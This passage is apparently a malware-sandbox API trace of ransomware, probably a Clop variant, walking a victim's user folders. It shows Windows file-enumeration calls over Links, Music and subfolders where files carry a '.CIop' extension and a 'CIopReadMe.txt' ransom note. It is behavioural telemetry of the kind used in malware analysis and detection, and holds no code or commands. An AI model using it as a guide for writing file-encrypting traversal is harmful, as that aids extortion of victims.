returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0118.008] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.008] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0118.008] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0118.008] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.009] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.009] lstrlenW (lpString="desktop.ini") returned 11 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0118.009] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0118.009] lstrlenW (lpString=".LNK") returned 4 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0118.009] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0118.009] lstrlenW (lpString=".LNK") returned 4 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0118.009] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0118.009] lstrlenW (lpString=".LNK") returned 4 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.009] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.009] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.009] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0118.009] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0118.009] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.009] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0118.009] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.009] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.009] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.009] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.010] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.010] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0118.010] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0118.010] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0118.010] SetErrorMode (uMode=0x1) returned 0x1 [0118.010] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0118.010] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0118.010] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.010] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0118.010] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0118.010] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.010] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0118.010] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.010] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0118.010] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0118.010] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.010] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.010] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0118.010] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0118.010] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0118.010] SetErrorMode (uMode=0x1) returned 0x1 [0118.010] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0118.010] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0118.010] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0118.010] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.011] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0118.011] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2=".") returned 1 [0118.011] lstrlenW (lpString=".CIop") returned 5 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.011] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.011] lstrlenW (lpString="desktop.ini") returned 11 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2=".") returned 1 [0118.011] lstrlenW (lpString=".CIop") returned 5 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2=".") returned 1 [0118.011] lstrlenW (lpString=".CIop") returned 5 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2=".") returned 1 [0118.011] lstrlenW (lpString=".CIop") returned 5 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2=".") returned 1 [0118.011] lstrlenW (lpString=".CIop") returned 5 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2=".") returned 1 [0118.011] lstrlenW (lpString=".CIop") returned 5 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2=".") returned 1 [0118.011] lstrlenW (lpString=".CIop") returned 5 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2="..") returned 1 [0118.011] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2=".") returned 1 [0118.011] lstrlenW (lpString=".CIop") returned 5 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.011] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.012] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.012] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0118.012] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0118.012] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.012] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0118.012] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0118.012] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.012] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.012] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.012] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.012] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.012] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.012] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.012] lstrcmpW (lpString1="GO5j 80", lpString2="..") returned 1 [0118.012] lstrcmpW (lpString1="GO5j 80", lpString2=".") returned 1 [0118.012] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0118.012] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0118.012] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0118.012] SetErrorMode (uMode=0x1) returned 0x1 [0118.012] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0118.012] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0118.012] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0118.012] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0118.012] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0118.012] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0118.012] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0118.012] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.013] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.013] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2="..") returned 1 [0118.013] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2=".") returned 1 [0118.013] lstrlenW (lpString=".CIop") returned 5 [0118.013] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.013] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.013] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.014] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0118.014] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0118.014] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0118.014] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0118.014] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.014] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.014] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.014] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.014] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.014] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0118.014] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0118.014] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0118.014] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0118.014] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0118.014] SetErrorMode 